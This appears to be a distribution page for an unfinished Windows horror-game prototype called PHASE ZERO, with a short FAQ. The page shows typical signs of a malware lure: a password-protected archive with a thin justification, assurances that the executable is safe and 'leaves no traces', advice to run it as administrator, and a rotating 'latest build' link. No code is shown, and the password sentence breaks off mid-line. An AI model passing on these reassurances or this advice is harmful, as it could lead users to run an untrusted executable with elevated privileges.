A raw survival horror prototype trapped in Flint Peak.
PHASE ZERO is a classic survival horror game set in Flint Peak, a remote post-industrial harbor town in 1994. A mysterious illness has transformed its residents, and several survivors must explore the town, solve puzzles, scavenge supplies, and face grotesque creatures. This Windows build is an early, unfinished prototype shared for testing and feedback while development continues.
For survival horror players who enjoy slow-burn exploration, puzzles, resource pressure, fixed cameras, and rough experimental builds.
⚠️ This is an early, unfinished pre-release build. The game is under active development: expect bugs, unfinished content, and balance changes.🔒 The archive is password-protected (

Q: Is it safe to download and play? A: Yes — the build is a standalone Windows executable that requires no installation, online authentication, or registry changes. It runs entirely from its own folder and can be removed by simply deleting it.
Q: Why is the archive password-protected? A: The archive uses a password as a standard packaging step so the build stays bundled correctly during distribution. The password is provided in the installation section above.
Q: How often is the build updated? A: Updates are published whenever a new internal snapshot is ready. There is no fixed schedule — the download link in Step 1 always points to the latest available build.
Q: Does this build require an internet connection? A: No. The build runs fully offline. No account, launcher, or online check is required to launch it.
Q: What should I do if the game crashes? A: Crashes are expected in this early stage. Try running the build as administrator, ensure your GPU drivers are up to date, and check the Issues tab for known problems.
Q: Will this affect my official game install or saves? A: No. This build is completely self-contained. It does not interact with your existing game files, save data, cloud sync, or platform libraries. It runs independently and leaves no traces behind after deletion.
